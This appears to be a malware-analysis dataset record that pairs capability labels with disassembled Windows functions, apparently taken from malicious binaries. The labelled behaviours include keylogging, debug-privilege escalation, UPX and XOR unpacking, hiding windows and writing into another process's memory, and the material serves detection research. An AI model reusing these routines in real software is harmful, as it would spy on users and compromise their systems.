joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e640
Capabilities:
Acquire debug privileges
Log keystrokes via polling
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push esi
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41e69b
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 1
push eax
push 0x47e59c
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 2
push eax
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Russian
push 0
call fcn.004281f7
push str.color_E4
call fcn.00427f57
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
add esp, 0xc
nop word [eax + eax]
push 0x2d
call esi
test al, 1
je 0x41e6c0
call fcn.0041e350
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401050
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf6840
call fcn.004011f0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x6c], eax
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x64], eax
push 0
mov ecx, dword [ebp - 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xf6840], 0
push 0
lea edx, [ebp - 0xf6840]
push edx
mov eax, dword [ebp - 0x68]
push eax
lea ecx, [ebp - 0xf6830]
push ecx
mov edx, dword [ebp - 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov byte [ebp - 0x59], 0x15
push 0x15
mov eax, dword [ebp - 0x68]
push eax
lea ecx, [ebp - 0xf6830]
push ecx
call section..text
add esp, 0xc
mov dword [ebp - 0x48], 0
push 0x40
push 0
lea edx, [ebp - 0x44]
push edx
call fcn.00401220
add esp, 0xc
mov dword [ebp - 0x58], 0
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x48]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [0x40ac64]
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0xf6834], ecx
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0xf6838], edx
push 0x40
push 0x1000
lea eax, [ebp - 0xf6830]
push eax
push 0
mov ecx, dword [ebp - 0xf6834]
push ecx
call dword [0x40ac70]
mov dword [ebp - 0xf683c], eax
mov edx, dword [ebp - 0xf683c]
mov dword [ebp - 0x60], edx
push 0
push 0xf67c0
lea eax, [ebp - 0xf6830]
push eax
mov ecx, dword [ebp - 0xf683c]
push ecx
mov edx, dword [ebp - 0xf6834]
push edx
call dword [0x40ac68]
push 0
mov eax, dword [ebp - 0xf6838]
push eax
mov ecx, dword [ebp - 0x60]
push ecx
call dword [0x40ac60]
mov edx, dword [ebp - 0xf6838]
push edx
call dword [0x40ac6c]
xor eax, eax
mov ecx, dword [ebp - 0x6c]
xor ecx, ebp
call fcn.004011e1
mov esp, ebp
pop ebp
ret

Function at 0x4011b0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.C:WindowsSysWOW64_netstat.exe
push str.C:data_Installi.html
call fcn.00401050
add esp, 8
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4011e1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x4011eb
repz ret
jmp fcn.0040141f
Function at 0x403633
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402513
and dword [ebp - 4], 0
cmp dword [0x40b598], 0
mov ebx, eax
jne 0x4036e4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x403795
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x403795
push eax
call fcn.004024a1
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b598], eax
call esi
push eax
call fcn.004024a1
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b59c], eax
call esi
push eax
call fcn.004024a1
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b5a0], eax
call esi
push eax
call fcn.004024a1
pop ecx
mov dword [0x40b5a8], eax
test eax, eax
je 0x4036e4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024a1
pop ecx
mov dword [0x40b5a4], eax
mov eax, dword [0x40b5a4]
cmp eax, ebx
je 0x40373c
cmp dword [0x40b5a8], ebx
je 0x40373c
push eax
call fcn.0040251c
push dword [0x40b5a8]
mov esi, eax
call fcn.0040251c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40373c
test edi, edi
je 0x40373c
call esi
test eax, eax
je 0x403733
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403733
test byte [ebp - 0xc], 1
jne 0x40373c
or dword [ebp + 0x10], 0x200000
jmp 0x403775
mov eax, dword [0x40b59c]
cmp eax, ebx
je 0x403775
push eax
call fcn.0040251c
pop ecx
test eax, eax
je 0x403775
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x403775
mov eax, dword [0x40b5a0]
cmp eax, ebx
je 0x403775
push eax
call fcn.0040251c
pop ecx
test eax, eax
je 0x403775
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b598]
call fcn.0040251c
pop ecx
test eax, eax
je 0x403795
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x403797
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0xd36f74
Capabilities:
Encode data using xor

Disassembly:
jmp 0xd36f7e
pushal
call 0xd36f84
pop ebp
sub ebp, 0x10
sub ebp, 0x936f74
jmp 0xd36f9a
mov eax, 0x936f74
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b2
mov edx, 0xa86dddd3
xor byte [eax], dl
inc eax
dec ecx
jne 0xd36fb1
jmp 0xd36fc4
pop eax
push ds
pop eax
pop edx
out dx, eax
rcl ebx, cl
rcl dword [edx + 0x12], cl
sub edx, ebx
rcl ebx, cl
rcr byte [esi], 1
imul edx, edi, 0xffffffd3
rcl ebx, cl
imul edi, ebx, 0x24d3d3d3
xor eax, edx
sbb ebx, dword [eax + 0x52]
invalid
Function at 0x4107ed
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x410825
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00414fd3
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00414fab
jmp 0x410831
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4123c7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x412409
call fcn.0042387f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x412409
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x412400
xor eax, eax
jmp 0x412411
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00412417
pop edi
pop esi
pop ebx
ret 4

Function at 0x41353f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x413561
cmp dword [edi + 0x3c], 0
jne 0x413561
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.0042387f
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.0041358e
pop edi
pop esi
pop ebx
ret 8

Function at 0x4135dc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.0042387f
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41360d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.00413620
pop edi
pop esi
pop ebx
ret 8
Function at 0x413912
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x427b94
call fcn.00405360
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.0042387f
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x413951
call fcn.0042387f
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41395f
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x41396d
or eax, 0xffffffff
jmp 0x413a55
mov ecx, esi
call fcn.00413888
mov dword [ebp - 0x14], eax
call fcn.0041033d
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x4139a4
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x4139a4
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.004102f1
push dword [ebp - 0x14]
call fcn.0040fe22
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.00413620
cmp eax, edi
je 0x413a17
test byte [esi + 0x24], 0x10
je 0x4139e5
push 4
mov ecx, esi
pop ebx
call fcn.00412c2b
test ah, 1
je 0x4139dd
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0041261e
cmp dword [esi + 0x1c], edi
je 0x413a17
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00412d40
jmp 0x413a17
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x413a2b
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x413a44
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x413a44
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.004138c2
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x422751
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 8], ecx
call fcn.0042387f
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x42278e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x42278e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x422792
xor eax, eax
jmp 0x422810
movzx eax, word [esi + 6]
push ebx
push edi
shl eax, 2
push eax
call fcn.0040f838
and dword [ebp - 4], 0
cmp word [esi + 6], 0
pop ecx
mov ebx, eax
jbe 0x4227ca
mov ecx, ebx
lea eax, [esi + 8]
movzx edx, word [eax]
inc dword [ebp - 4]
mov dword [ecx], edx
movzx edx, word [esi + 6]
inc eax
add ecx, 4
inc eax
cmp dword [ebp - 4], edx
jl 0x4227b4
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 8]
push eax
push ebx
call fcn.00422901
push ebx
mov edi, eax
call fcn.0040f861
test edi, edi
pop ecx
je 0x42280c
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
lea esi, [ecx + 7]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [eax + 7]
push eax
push esi
push edx
call fcn.004226ca
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.00422815
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x4233fd
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42342b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x423449
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00423363
jmp 0x423449
mov eax, dword [esi + 0x14]
test eax, eax
je 0x423449
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00423363
test edi, edi
mov eax, edi
jne 0x423433
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x11724
Capabilities:
Find process by pid

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
xor esi, esi
push 0x10
mov dword [ebp - 4], esi
pop edi
lea eax, [ebp + esi - 0x10]
push eax
push edi
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jl 0x1174d
mov dword [ebp + esi - 0x1c], edi
add esi, 4
add edi, 4
cmp esi, 0xc
jl 0x11736
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
push 0x20
sub esi, ecx
pop edi
lea eax, [ecx + 0x20]
sub edx, ecx
mov ecx, dword [esi + eax]
cmp ecx, dword [ebp - 0x1c]
jne 0x1177f
mov ecx, dword [eax]
cmp ecx, dword [ebp - 0x18]
jne 0x1177f
mov ecx, dword [edx + eax]
cmp ecx, dword [ebp - 0x14]
je 0x1178f
add edi, 4
add eax, 4
cmp edi, 0x200
jl 0x11768
jmp 0x11792
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 0x10]
mov esi, dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
call esi
mov ecx, dword [ebp - 0xc]
call esi
mov ecx, dword [ebp - 8]
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x8596ef
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.0085976e
jae 0x8596fb
xor ecx, ecx
call fcn.0085976e
jae 0x859725
xor eax, eax
call fcn.0085976e
jae 0x859736
mov al, 0x10
call fcn.0085976e
adc al, al
jae 0x859717
jne 0x859763
stosb byte es:[edi], al
jmp 0x8596fc
call fcn.0085977a
dec ecx
loop 0x859742
mov eax, ebp
call fcn.00859778
jmp 0x859764
lodsb al, byte [esi]
shr eax, 1
je 0x85978a
adc ecx, 2
mov ebp, eax
jmp 0x859764
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00859778
cmp eax, 0x7d00
jae 0x859762
cmp eax, 0x500
jae 0x859763
cmp eax, 0x7f
ja 0x859764
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8596fc
pop ebp
ret 8
Function at 0x401040
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x1e4dc
mov dword [ebp - 0xc], 0x3000
mov dword [ebp - 4], 0x40
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esp, ebp
pop ebp
ret

Function at 0x401160
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 8], 0x11cb
mov dword [ebp - 0x10], 0
jmp 0x40117f
mov eax, dword [ebp - 0x10]
add eax, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp + 0xc]
jae 0x401246
mov dword [ebp - 8], 0x4189
cmp dword [ebp - 0x10], 0
jne 0x4011e8
push 0x104
push 0x4021a4
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push section..zda_1
push 0x4021a4
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
push 1
push 0x4021a4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4011e1
cmp dword [ebp - 4], 0
jne 0x4011e8
mov eax, 0x42
jmp 0x401246
mov edx, dword [ebp - 0x10]
add edx, 0x563
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov dword [eax], edx
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov dword [eax], edx
jmp 0x401176
mov esp, ebp
pop ebp
ret